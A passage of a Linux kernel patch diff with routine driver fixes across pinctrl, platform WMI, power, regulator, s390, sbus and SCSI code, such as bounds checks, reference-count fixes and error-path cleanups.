MPP_FUNCTION(0x2, "spi0-1", "cs2")), + MPP_FUNCTION(0x2, "spi0", "cs2")), }; static struct mvebu_pinctrl_soc_info armada_370_pinctrl_info; diff --git a/drivers/pinctrl/mvebu/pinctrl-armada-xp.c b/drivers/pinctrl/mvebu/pinctrl-armada-xp.c index ab5dc04b3e8a1..5923a9ef70ccb 100644 --- a/drivers/pinctrl/mvebu/pinctrl-armada-xp.c +++ b/drivers/pinctrl/mvebu/pinctrl-armada-xp.c @@ -14,10 +14,7 @@ * available: mv78230, mv78260 and mv78460. From a pin muxing * perspective, the mv78230 has 49 MPP pins. The mv78260 and mv78460 * both have 67 MPP pins (more GPIOs and address lines for the memory - * bus mainly). The only difference between the mv78260 and the - * mv78460 in terms of pin muxing is the addition of two functions on - * pins 43 and 56 to access the VDD of the CPU2 and 3 (mv78260 has two - * cores, mv78460 has four cores). + * bus mainly). */ #include @@ -159,20 +156,17 @@ static struct mvebu_mpp_mode armada_xp_mpp_modes[] = { MPP_MODE(24, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), MPP_VAR_FUNCTION(0x1, "sata1", "prsnt", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x2, "nf", "bootcs-re", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x3, "tdm", "rst", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x4, "lcd", "hsync", V_MV78230_PLUS)), MPP_MODE(25, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), MPP_VAR_FUNCTION(0x1, "sata0", "prsnt", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x2, "nf", "bootcs-we", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x3, "tdm", "pclk", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x4, "lcd", "vsync", V_MV78230_PLUS)), MPP_MODE(26, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), MPP_VAR_FUNCTION(0x3, "tdm", "fsync", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x4, "lcd", "clk", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x5, "vdd", "cpu1-pd", V_MV78230_PLUS)), + MPP_VAR_FUNCTION(0x4, "lcd", "clk", V_MV78230_PLUS)), MPP_MODE(27, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), MPP_VAR_FUNCTION(0x1, "ptp", "trig", V_MV78230_PLUS), @@ -187,8 +181,7 @@ static struct mvebu_mpp_mode armada_xp_mpp_modes[] = { MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), MPP_VAR_FUNCTION(0x1, "ptp", "clk", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x3, "tdm", "int0", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x4, "lcd", "ref-clk", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x5, "vdd", "cpu0-pd", V_MV78230_PLUS)), + MPP_VAR_FUNCTION(0x4, "lcd", "ref-clk", V_MV78230_PLUS)), MPP_MODE(30, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), MPP_VAR_FUNCTION(0x1, "sd0", "clk", V_MV78230_PLUS), @@ -196,13 +189,11 @@ static struct mvebu_mpp_mode armada_xp_mpp_modes[] = { MPP_MODE(31, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), MPP_VAR_FUNCTION(0x1, "sd0", "cmd", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x3, "tdm", "int2", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x5, "vdd", "cpu0-pd", V_MV78230_PLUS)), + MPP_VAR_FUNCTION(0x3, "tdm", "int2", V_MV78230_PLUS)), MPP_MODE(32, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), MPP_VAR_FUNCTION(0x1, "sd0", "d0", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x3, "tdm", "int3", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x5, "vdd", "cpu1-pd", V_MV78230_PLUS)), + MPP_VAR_FUNCTION(0x3, "tdm", "int3", V_MV78230_PLUS)), MPP_MODE(33, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), MPP_VAR_FUNCTION(0x1, "sd0", "d1", V_MV78230_PLUS), @@ -234,7 +225,6 @@ static struct mvebu_mpp_mode armada_xp_mpp_modes[] = { MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), MPP_VAR_FUNCTION(0x1, "spi", "cs1", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x2, "uart2", "cts", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x3, "vdd", "cpu1-pd", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x4, "lcd", "vga-hsync", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x5, "pcie", "clkreq0", V_MV78230_PLUS)), MPP_MODE(41, @@ -249,15 +239,13 @@ static struct mvebu_mpp_mode armada_xp_mpp_modes[] = { MPP_VAR_FUNCTION(0x1, "uart2", "rxd", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x2, "uart0", "cts", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x3, "tdm", "int7", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x4, "tdm-1", "timer", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x5, "vdd", "cpu0-pd", V_MV78230_PLUS)), + MPP_VAR_FUNCTION(0x4, "tdm-1", "timer", V_MV78230_PLUS)), MPP_MODE(43, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), MPP_VAR_FUNCTION(0x1, "uart2", "txd", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x2, "uart0", "rts", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x3, "spi", "cs3", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x4, "pcie", "rstout", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x5, "vdd", "cpu2-3-pd", V_MV78460)), + MPP_VAR_FUNCTION(0x4, "pcie", "rstout", V_MV78230_PLUS)), MPP_MODE(44, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), MPP_VAR_FUNCTION(0x1, "uart2", "cts", V_MV78230_PLUS), @@ -286,7 +274,7 @@ static struct mvebu_mpp_mode armada_xp_mpp_modes[] = { MPP_VAR_FUNCTION(0x5, "pcie", "clkreq3", V_MV78230_PLUS)), MPP_MODE(48, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x1, "tclk", NULL, V_MV78230_PLUS), + MPP_VAR_FUNCTION(0x1, "dev", "clkout", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x2, "dev", "burst/last", V_MV78230_PLUS)), MPP_MODE(49, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78260_PLUS), @@ -308,16 +296,13 @@ static struct mvebu_mpp_mode armada_xp_mpp_modes[] = { MPP_VAR_FUNCTION(0x1, "dev", "ad19", V_MV78260_PLUS)), MPP_MODE(55, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78260_PLUS), - MPP_VAR_FUNCTION(0x1, "dev", "ad20", V_MV78260_PLUS), - MPP_VAR_FUNCTION(0x2, "vdd", "cpu0-pd", V_MV78260_PLUS)), + MPP_VAR_FUNCTION(0x1, "dev", "ad20", V_MV78260_PLUS)), MPP_MODE(56, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78260_PLUS), - MPP_VAR_FUNCTION(0x1, "dev", "ad21", V_MV78260_PLUS), - MPP_VAR_FUNCTION(0x2, "vdd", "cpu1-pd", V_MV78260_PLUS)), + MPP_VAR_FUNCTION(0x1, "dev", "ad21", V_MV78260_PLUS)), MPP_MODE(57, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78260_PLUS), - MPP_VAR_FUNCTION(0x1, "dev", "ad22", V_MV78260_PLUS), - MPP_VAR_FUNCTION(0x2, "vdd", "cpu2-3-pd", V_MV78460)), + MPP_VAR_FUNCTION(0x1, "dev", "ad22", V_MV78260_PLUS)), MPP_MODE(58, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78260_PLUS), MPP_VAR_FUNCTION(0x1, "dev", "ad23", V_MV78260_PLUS)), diff --git a/drivers/platform/msm/pft.c b/drivers/platform/msm/pft.c index 9a44c30e0607b..47f1ace0eba99 100644 --- a/drivers/platform/msm/pft.c +++ b/drivers/platform/msm/pft.c @@ -276,7 +276,7 @@ static char *inode_to_filename(struct inode *inode) if (hlist_empty(&inode->i_dentry)) return "unknown"; - dentry = hlist_entry(inode->i_dentry.first, struct dentry, d_alias); + dentry = hlist_entry(inode->i_dentry.first, struct dentry, d_u.d_alias); filename = dentry->d_iname; return filename; diff --git a/drivers/platform/x86/acer-wmi.c b/drivers/platform/x86/acer-wmi.c index c9076bdaf2c18..59a8d325a6977 100644 --- a/drivers/platform/x86/acer-wmi.c +++ b/drivers/platform/x86/acer-wmi.c @@ -572,6 +572,17 @@ static const struct dmi_system_id video_vendor_dmi_table[] = { DMI_MATCH(DMI_PRODUCT_NAME, "Aspire 5750"), }, }, + { + /* + * Note no video_set_backlight_video_vendor, we must use the + * acer interface, as there is no native backlight interface. + */ + .ident = "Acer KAV80", + .matches = { + DMI_MATCH(DMI_SYS_VENDOR, "Acer"), + DMI_MATCH(DMI_PRODUCT_NAME, "KAV80"), + }, + }, {} }; diff --git a/drivers/platform/x86/dell-wmi.c b/drivers/platform/x86/dell-wmi.c index fa9a2171cc134..b264d8fe19081 100644 --- a/drivers/platform/x86/dell-wmi.c +++ b/drivers/platform/x86/dell-wmi.c @@ -163,18 +163,24 @@ static void dell_wmi_notify(u32 value, void *context) const struct key_entry *key; int reported_key; u16 *buffer_entry = (u16 *)obj->buffer.pointer; + int buffer_size = obj->buffer.length/2; - if (dell_new_hk_type && (buffer_entry[1] != 0x10)) { + if (buffer_size >= 2 && dell_new_hk_type && buffer_entry[1] != 0x10) { pr_info("Received unknown WMI event (0x%x)\n", buffer_entry[1]); kfree(obj); return; } - if (dell_new_hk_type || buffer_entry[1] == 0x0) + if (buffer_size >= 3 && (dell_new_hk_type || buffer_entry[1] == 0x0)) reported_key = (int)buffer_entry[2]; - else + else if (buffer_size >= 2) reported_key = (int)buffer_entry[1] & 0xffff; + else { + pr_info("Received unknown WMI event\n"); + kfree(obj); + return; + } key = sparse_keymap_entry_from_scancode(dell_wmi_input_dev, reported_key); diff --git a/drivers/platform/x86/hp-wmi.c b/drivers/platform/x86/hp-wmi.c index d111c8687f9bd..46497c6cbcc17 100644 --- a/drivers/platform/x86/hp-wmi.c +++ b/drivers/platform/x86/hp-wmi.c @@ -640,6 +640,11 @@ static int hp_wmi_rfkill_setup(struct platform_device *device) if (err) return err; + err = hp_wmi_perform_query(HPWMI_WIRELESS_QUERY, 1, &wireless, + sizeof(wireless), 0); + if (err) + return err; + if (wireless & 0x1) { wifi_rfkill = rfkill_alloc("hp-wifi", &device->dev, RFKILL_TYPE_WLAN, diff --git a/drivers/platform/x86/hp_accel.c b/drivers/platform/x86/hp_accel.c index 0ed96df20162c..3458eb6fd491a 100644 --- a/drivers/platform/x86/hp_accel.c +++ b/drivers/platform/x86/hp_accel.c @@ -237,6 +237,7 @@ static struct dmi_system_id lis3lv02d_dmi_ids[] = { AXIS_DMI_MATCH("HPB64xx", "HP ProBook 64", xy_swap), AXIS_DMI_MATCH("HPB64xx", "HP EliteBook 84", xy_swap), AXIS_DMI_MATCH("HPB65xx", "HP ProBook 65", x_inverted), + AXIS_DMI_MATCH("HPZBook15", "HP ZBook 15", x_inverted), { NULL, } /* Laptop models without axis info (yet): * "NC6910" "HP Compaq 6910" diff --git a/drivers/platform/x86/intel_scu_ipcutil.c b/drivers/platform/x86/intel_scu_ipcutil.c index 02bc5a6343c3f..aa454241489c9 100644 --- a/drivers/platform/x86/intel_scu_ipcutil.c +++ b/drivers/platform/x86/intel_scu_ipcutil.c @@ -49,7 +49,7 @@ struct scu_ipc_data { static int scu_reg_access(u32 cmd, struct scu_ipc_data *data) { - int count = data->count; + unsigned int count = data->count; if (count == 0 || count == 3 || count > 4) return -EINVAL; diff --git a/drivers/pnp/pnpbios/bioscalls.c b/drivers/pnp/pnpbios/bioscalls.c index 769d265b221b9..deb7f4bcdb7b6 100644 --- a/drivers/pnp/pnpbios/bioscalls.c +++ b/drivers/pnp/pnpbios/bioscalls.c @@ -21,7 +21,7 @@ #include "pnpbios.h" -static struct { +__visible struct { u16 offset; u16 segment; } pnp_bios_callpoint; @@ -41,6 +41,7 @@ asmlinkage void pnp_bios_callfunc(void); __asm__(".text \n" __ALIGN_STR "\n" + ".globl pnp_bios_callfunc\n" "pnp_bios_callfunc:\n" " pushl %edx \n" " pushl %ecx \n" @@ -66,9 +67,9 @@ static struct desc_struct bad_bios_desc = GDT_ENTRY_INIT(0x4092, * after PnP BIOS oopses. */ -u32 pnp_bios_fault_esp; -u32 pnp_bios_fault_eip; -u32 pnp_bios_is_utter_crap = 0; +__visible u32 pnp_bios_fault_esp; +__visible u32 pnp_bios_fault_eip; +__visible u32 pnp_bios_is_utter_crap = 0; static spinlock_t pnp_bios_lock; diff --git a/drivers/power/88pm860x_charger.c b/drivers/power/88pm860x_charger.c index 36fb4b5a4b0d6..1ef35ab79d0f6 100644 --- a/drivers/power/88pm860x_charger.c +++ b/drivers/power/88pm860x_charger.c @@ -711,6 +711,7 @@ static int pm860x_charger_probe(struct platform_device *pdev) return 0; out_irq: + power_supply_unregister(&info->usb); while (--i >= 0) free_irq(info->irq[i], info); out: diff --git a/drivers/power/lp8788-charger.c b/drivers/power/lp8788-charger.c index ed49b50b220b3..72da2a6c22db9 100644 --- a/drivers/power/lp8788-charger.c +++ b/drivers/power/lp8788-charger.c @@ -417,8 +417,10 @@ static int lp8788_psy_register(struct platform_device *pdev, pchg->battery.num_properties = ARRAY_SIZE(lp8788_battery_prop); pchg->battery.get_property = lp8788_battery_get_property; - if (power_supply_register(&pdev->dev, &pchg->battery)) + if (power_supply_register(&pdev->dev, &pchg->battery)) { + power_supply_unregister(&pchg->charger); return -EPERM; + } return 0; } diff --git a/drivers/power/wm831x_power.c b/drivers/power/wm831x_power.c index 3bed2f55cf7d1..3ccadf631d45c 100644 --- a/drivers/power/wm831x_power.c +++ b/drivers/power/wm831x_power.c @@ -567,7 +567,7 @@ static int wm831x_power_probe(struct platform_device *pdev) irq = wm831x_irq(wm831x, platform_get_irq_byname(pdev, "SYSLO")); ret = request_threaded_irq(irq, NULL, wm831x_syslo_irq, - IRQF_TRIGGER_RISING, "System power low", + IRQF_TRIGGER_RISING | IRQF_ONESHOT, "System power low", power); if (ret != 0) { dev_err(&pdev->dev, "Failed to request SYSLO IRQ %d: %d\n", @@ -577,7 +577,7 @@ static int wm831x_power_probe(struct platform_device *pdev) irq = wm831x_irq(wm831x, platform_get_irq_byname(pdev, "PWR SRC")); ret = request_threaded_irq(irq, NULL, wm831x_pwr_src_irq, - IRQF_TRIGGER_RISING, "Power source", + IRQF_TRIGGER_RISING | IRQF_ONESHOT, "Power source", power); if (ret != 0) { dev_err(&pdev->dev, "Failed to request PWR SRC IRQ %d: %d\n", @@ -590,7 +590,7 @@ static int wm831x_power_probe(struct platform_device *pdev) platform_get_irq_byname(pdev, wm831x_bat_irqs[i])); ret = request_threaded_irq(irq, NULL, wm831x_bat_irq, - IRQF_TRIGGER_RISING, + IRQF_TRIGGER_RISING | IRQF_ONESHOT, wm831x_bat_irqs[i], power); if (ret != 0) { diff --git a/drivers/rapidio/devices/tsi721_dma.c b/drivers/rapidio/devices/tsi721_dma.c index 91245f5dbe81a..47257b6eea849 100644 --- a/drivers/rapidio/devices/tsi721_dma.c +++ b/drivers/rapidio/devices/tsi721_dma.c @@ -287,6 +287,12 @@ struct tsi721_tx_desc *tsi721_desc_get(struct tsi721_bdma_chan *bdma_chan) "desc %p not ACKed\n", tx_desc); } + if (ret == NULL) { + dev_dbg(bdma_chan->dchan.device->dev, + "%s: unable to obtain tx descriptor\n", __func__); + goto err_out; + } + i = bdma_chan->wr_count_next % bdma_chan->bd_num; if (i == bdma_chan->bd_num - 1) { i = 0; @@ -297,7 +303,7 @@ struct tsi721_tx_desc *tsi721_desc_get(struct tsi721_bdma_chan *bdma_chan) tx_desc->txd.phys = bdma_chan->bd_phys + i * sizeof(struct tsi721_dma_desc); tx_desc->hw_desc = &((struct tsi721_dma_desc *)bdma_chan->bd_base)[i]; - +err_out: spin_unlock_bh(&bdma_chan->lock); return ret; diff --git a/drivers/regulator/core.c b/drivers/regulator/core.c index 040c5dcdbff4f..333108cf1ad0c 100644 --- a/drivers/regulator/core.c +++ b/drivers/regulator/core.c @@ -799,7 +799,7 @@ static int suspend_prepare(struct regulator_dev *rdev, suspend_state_t state) static void print_constraints(struct regulator_dev *rdev) { struct regulation_constraints *constraints = rdev->constraints; - char buf[80] = ""; + char buf[160] = ""; int count = 0; int ret; @@ -1628,10 +1628,12 @@ static int _regulator_do_enable(struct regulator_dev *rdev) trace_regulator_enable(rdev_get_name(rdev)); if (rdev->ena_pin) { - ret = regulator_ena_gpio_ctrl(rdev, true); - if (ret < 0) - return ret; - rdev->ena_gpio_state = 1; + if (!rdev->ena_gpio_state) { + ret = regulator_ena_gpio_ctrl(rdev, true); + if (ret < 0) + return ret; + rdev->ena_gpio_state = 1; + } } else if (rdev->desc->ops->enable) { ret = rdev->desc->ops->enable(rdev); if (ret < 0) @@ -1739,10 +1741,12 @@ static int _regulator_do_disable(struct regulator_dev *rdev) trace_regulator_disable(rdev_get_name(rdev)); if (rdev->ena_pin) { - ret = regulator_ena_gpio_ctrl(rdev, false); - if (ret < 0) - return ret; - rdev->ena_gpio_state = 0; + if (rdev->ena_gpio_state) { + ret = regulator_ena_gpio_ctrl(rdev, false); + if (ret < 0) + return ret; + rdev->ena_gpio_state = 0; + } } else if (rdev->desc->ops->disable) { ret = rdev->desc->ops->disable(rdev); @@ -4027,12 +4031,6 @@ regulator_register(const struct regulator_desc *regulator_desc, config->ena_gpio, ret); goto wash; } - - if (config->ena_gpio_flags & GPIOF_OUT_INIT_HIGH) - rdev->ena_gpio_state = 1; - - if (config->ena_gpio_invert) - rdev->ena_gpio_state = !rdev->ena_gpio_state; } /* set regulator constraints */ @@ -4200,9 +4198,11 @@ int regulator_suspend_finish(void) list_for_each_entry(rdev, ®ulator_list, list) { mutex_lock(&rdev->mutex); if (rdev->use_count > 0 || rdev->constraints->always_on) { - error = _regulator_do_enable(rdev); - if (error) - ret = error; + if (!_regulator_is_enabled(rdev)) { + error = _regulator_do_enable(rdev); + if (error) + ret = error; + } } else { if (!has_full_constraints) goto unlock; diff --git a/drivers/remoteproc/remoteproc_debugfs.c b/drivers/remoteproc/remoteproc_debugfs.c index 157a573096011..4ef0dbdcace1e 100644 --- a/drivers/remoteproc/remoteproc_debugfs.c +++ b/drivers/remoteproc/remoteproc_debugfs.c @@ -156,7 +156,7 @@ rproc_recovery_write(struct file *filp, const char __user *user_buf, char buf[10]; int ret; - if (count > sizeof(buf)) + if (count < 1 || count > sizeof(buf)) return count; ret = copy_from_user(buf, user_buf, count); diff --git a/drivers/rtc/rtc-vr41xx.c b/drivers/rtc/rtc-vr41xx.c index f91be04b90508..ca0f213c06a58 100644 --- a/drivers/rtc/rtc-vr41xx.c +++ b/drivers/rtc/rtc-vr41xx.c @@ -272,12 +272,13 @@ static irqreturn_t rtclong1_interrupt(int irq, void *dev_id) } static const struct rtc_class_ops vr41xx_rtc_ops = { - .release = vr41xx_rtc_release, - .ioctl = vr41xx_rtc_ioctl, - .read_time = vr41xx_rtc_read_time, - .set_time = vr41xx_rtc_set_time, - .read_alarm = vr41xx_rtc_read_alarm, - .set_alarm = vr41xx_rtc_set_alarm, + .release = vr41xx_rtc_release, + .ioctl = vr41xx_rtc_ioctl, + .read_time = vr41xx_rtc_read_time, + .set_time = vr41xx_rtc_set_time, + .read_alarm = vr41xx_rtc_read_alarm, + .set_alarm = vr41xx_rtc_set_alarm, + .alarm_irq_enable = vr41xx_rtc_alarm_irq_enable, }; static int rtc_probe(struct platform_device *pdev) diff --git a/drivers/s390/block/dasd_alias.c b/drivers/s390/block/dasd_alias.c index a2597e683e790..6a64e86e8ccd1 100644 --- a/drivers/s390/block/dasd_alias.c +++ b/drivers/s390/block/dasd_alias.c @@ -264,8 +264,10 @@ void dasd_alias_disconnect_device_from_lcu(struct dasd_device *device) spin_unlock_irqrestore(&lcu->lock, flags); cancel_work_sync(&lcu->suc_data.worker); spin_lock_irqsave(&lcu->lock, flags); - if (device == lcu->suc_data.device) + if (device == lcu->suc_data.device) { + dasd_put_device(device); lcu->suc_data.device = NULL; + } } was_pending = 0; if (device == lcu->ruac_data.device) { @@ -273,8 +275,10 @@ void dasd_alias_disconnect_device_from_lcu(struct dasd_device *device) was_pending = 1; cancel_delayed_work_sync(&lcu->ruac_data.dwork); spin_lock_irqsave(&lcu->lock, flags); - if (device == lcu->ruac_data.device) + if (device == lcu->ruac_data.device) { + dasd_put_device(device); lcu->ruac_data.device = NULL; + } } private->lcu = NULL; spin_unlock_irqrestore(&lcu->lock, flags); @@ -549,8 +553,10 @@ static void lcu_update_work(struct work_struct *work) if ((rc && (rc != -EOPNOTSUPP)) || (lcu->flags & NEED_UAC_UPDATE)) { DBF_DEV_EVENT(DBF_WARNING, device, "could not update" " alias data in lcu (rc = %d), retry later", rc); - schedule_delayed_work(&lcu->ruac_data.dwork, 30*HZ); + if (!schedule_delayed_work(&lcu->ruac_data.dwork, 30*HZ)) + dasd_put_device(device); } else { + dasd_put_device(device); lcu->ruac_data.device = NULL; lcu->flags &= ~UPDATE_PENDING; } @@ -593,8 +599,10 @@ static int _schedule_lcu_update(struct alias_lcu *lcu, */ if (!usedev) return -EINVAL; + dasd_get_device(usedev); lcu->ruac_data.device = usedev; - schedule_delayed_work(&lcu->ruac_data.dwork, 0); + if (!schedule_delayed_work(&lcu->ruac_data.dwork, 0)) + dasd_put_device(usedev); return 0; } @@ -722,7 +730,7 @@ static int reset_summary_unit_check(struct alias_lcu *lcu, ASCEBC((char *) &cqr->magic, 4); ccw = cqr->cpaddr; ccw->cmd_code = DASD_ECKD_CCW_RSCK; - ccw->flags = 0 ; + ccw->flags = CCW_FLAG_SLI; ccw->count = 16; ccw->cda = (__u32)(addr_t) cqr->data; ((char *)cqr->data)[0] = reason; @@ -926,6 +934,7 @@ static void summary_unit_check_handling_work(struct work_struct *work) /* 3. read new alias configuration */ _schedule_lcu_update(lcu, device); lcu->suc_data.device = NULL; + dasd_put_device(device); spin_unlock_irqrestore(&lcu->lock, flags); } @@ -985,6 +994,8 @@ void dasd_alias_handle_summary_unit_check(struct dasd_device *device, } lcu->suc_data.reason = reason; lcu->suc_data.device = device; + dasd_get_device(device); spin_unlock(&lcu->lock); - schedule_work(&lcu->suc_data.worker); + if (!schedule_work(&lcu->suc_data.worker)) + dasd_put_device(device); }; diff --git a/drivers/s390/char/con3215.c b/drivers/s390/char/con3215.c index bb86494e2b7b7..19915c5b256f7 100644 --- a/drivers/s390/char/con3215.c +++ b/drivers/s390/char/con3215.c @@ -288,12 +288,16 @@ static void raw3215_timeout(unsigned long __data) unsigned long flags; spin_lock_irqsave(get_ccwdev_lock(raw->cdev), flags); - if (raw->flags & RAW3215_TIMER_RUNS) { - del_timer(&raw->timer); - raw->flags &= ~RAW3215_TIMER_RUNS; - if (!(raw->port.flags & ASYNC_SUSPENDED)) { - raw3215_mk_write_req(raw); - raw3215_start_io(raw); + raw->flags &= ~RAW3215_TIMER_RUNS; + if (!(raw->port.flags & ASYNC_SUSPENDED)) { + raw3215_mk_write_req(raw); + raw3215_start_io(raw); + if ((raw->queued_read || raw->queued_write) && + !(raw->flags & RAW3215_WORKING) && + !(raw->flags & RAW3215_TIMER_RUNS)) { + raw->timer.expires = RAW3215_TIMEOUT + jiffies; + add_timer(&raw->timer); + raw->flags |= RAW3215_TIMER_RUNS; } } spin_unlock_irqrestore(get_ccwdev_lock(raw->cdev), flags); @@ -317,17 +321,15 @@ static inline void raw3215_try_io(struct raw3215_info *raw) (raw->flags & RAW3215_FLUSHING)) { /* execute write requests bigger than minimum size */ raw3215_start_io(raw); - if (raw->flags & RAW3215_TIMER_RUNS) { - del_timer(&raw->timer); - raw->flags &= ~RAW3215_TIMER_RUNS; - } - } else if (!(raw->flags & RAW3215_TIMER_RUNS)) { - /* delay small writes */ - raw->timer.expires = RAW3215_TIMEOUT + jiffies; - add_timer(&raw->timer); - raw->flags |= RAW3215_TIMER_RUNS; } } + if ((raw->queued_read || raw->queued_write) && + !(raw->flags & RAW3215_WORKING) && + !(raw->flags & RAW3215_TIMER_RUNS)) { + raw->timer.expires = RAW3215_TIMEOUT + jiffies; + add_timer(&raw->timer); + raw->flags |= RAW3215_TIMER_RUNS; + } } /* @@ -1027,12 +1029,26 @@ static int tty3215_write(struct tty_struct * tty, const unsigned char *buf, int count) { struct raw3215_info *raw; + int i, written; if (!tty) return 0; raw = (struct raw3215_info *) tty->driver_data; - raw3215_write(raw, buf, count); - return count; + written = count; + while (count > 0) { + for (i = 0; i < count; i++) + if (buf[i] == '\t' || buf[i] == '\n') + break; + raw3215_write(raw, buf, i); + count -= i; + buf += i; + if (count > 0) { + raw3215_putchar(raw, *buf); + count--; + buf++; + } + } + return written; } /* @@ -1180,7 +1196,7 @@ static int __init tty3215_init(void) driver->subtype = SYSTEM_TYPE_TTY; driver->init_termios = tty_std_termios; driver->init_termios.c_iflag = IGNBRK | IGNPAR; - driver->init_termios.c_oflag = ONLCR | XTABS; + driver->init_termios.c_oflag = ONLCR; driver->init_termios.c_lflag = ISIG; driver->flags = TTY_DRIVER_REAL_RAW; tty_set_operations(driver, &tty3215_ops); diff --git a/drivers/s390/crypto/ap_bus.c b/drivers/s390/crypto/ap_bus.c index 9de41aa148965..6f512fa4fa033 100644 --- a/drivers/s390/crypto/ap_bus.c +++ b/drivers/s390/crypto/ap_bus.c @@ -44,6 +44,7 @@ #include #include #include +#include #include "ap_bus.h" diff --git a/drivers/s390/net/qeth_l2_main.c b/drivers/s390/net/qeth_l2_main.c index ec8ccdae7aba3..0090de46aa5e6 100644 --- a/drivers/s390/net/qeth_l2_main.c +++ b/drivers/s390/net/qeth_l2_main.c @@ -898,6 +898,7 @@ static void qeth_l2_remove_device(struct ccwgroup_device *cgdev) qeth_l2_set_offline(cgdev); if (card->dev) { + netif_napi_del(&card->napi); unregister_netdev(card->dev); card->dev = NULL; } diff --git a/drivers/s390/net/qeth_l3_main.c b/drivers/s390/net/qeth_l3_main.c index c1b0b2761f8dc..7366bef742de8 100644 --- a/drivers/s390/net/qeth_l3_main.c +++ b/drivers/s390/net/qeth_l3_main.c @@ -3333,6 +3333,7 @@ static void qeth_l3_remove_device(struct ccwgroup_device *cgdev) qeth_l3_set_offline(cgdev); if (card->dev) { + netif_napi_del(&card->napi); unregister_netdev(card->dev); card->dev = NULL; } diff --git a/drivers/sbus/char/bbc_envctrl.c b/drivers/sbus/char/bbc_envctrl.c index 160e7510aca69..0787b97561657 100644 --- a/drivers/sbus/char/bbc_envctrl.c +++ b/drivers/sbus/char/bbc_envctrl.c @@ -452,6 +452,9 @@ static void attach_one_temp(struct bbc_i2c_bus *bp, struct platform_device *op, if (!tp) return; + INIT_LIST_HEAD(&tp->bp_list); + INIT_LIST_HEAD(&tp->glob_list); + tp->client = bbc_i2c_attach(bp, op); if (!tp->client) { kfree(tp); @@ -497,6 +500,9 @@ static void attach_one_fan(struct bbc_i2c_bus *bp, struct platform_device *op, if (!fp) return; + INIT_LIST_HEAD(&fp->bp_list); + INIT_LIST_HEAD(&fp->glob_list); + fp->client = bbc_i2c_attach(bp, op); if (!fp->client) { kfree(fp); diff --git a/drivers/sbus/char/bbc_i2c.c b/drivers/sbus/char/bbc_i2c.c index c1441ed282eb9..e0e6cd605cca7 100644 --- a/drivers/sbus/char/bbc_i2c.c +++ b/drivers/sbus/char/bbc_i2c.c @@ -301,13 +301,18 @@ static struct bbc_i2c_bus * attach_one_i2c(struct platform_device *op, int index if (!bp) return NULL; + INIT_LIST_HEAD(&bp->temps); + INIT_LIST_HEAD(&bp->fans); + bp->i2c_control_regs = of_ioremap(&op->resource[0], 0, 0x2, "bbc_i2c_regs"); if (!bp->i2c_control_regs) goto fail; - bp->i2c_bussel_reg = of_ioremap(&op->resource[1], 0, 0x1, "bbc_i2c_bussel"); - if (!bp->i2c_bussel_reg) - goto fail; + if (op->num_resources == 2) { + bp->i2c_bussel_reg = of_ioremap(&op->resource[1], 0, 0x1, "bbc_i2c_bussel"); + if (!bp->i2c_bussel_reg) + goto fail; + } bp->waiting = 0; init_waitqueue_head(&bp->wq); diff --git a/drivers/scsi/3w-9xxx.c b/drivers/scsi/3w-9xxx.c index 0a7325361d295..6adf9abdf955e 100644 --- a/drivers/scsi/3w-9xxx.c +++ b/drivers/scsi/3w-9xxx.c @@ -149,7 +149,6 @@ static int twa_reset_sequence(TW_Device_Extension *tw_dev, int soft_reset); static int twa_scsiop_execute_scsi(TW_Device_Extension *tw_dev, int request_id, char *cdb, int use_sg, TW_SG_Entry *sglistarg); static void twa_scsiop_execute_scsi_complete(TW_Device_Extension *tw_dev, int request_id); static char *twa_string_lookup(twa_message_type *table, unsigned int aen_code); -static void twa_unmap_scsi_data(TW_Device_Extension *tw_dev, int request_id); /* Functions */ @@ -226,6 +225,17 @@ static const struct file_operations twa_fops = { .llseek = noop_llseek, }; +/* + * The controllers use an inline buffer instead of a mapped SGL for small, + * single entry buffers. Note that we treat a 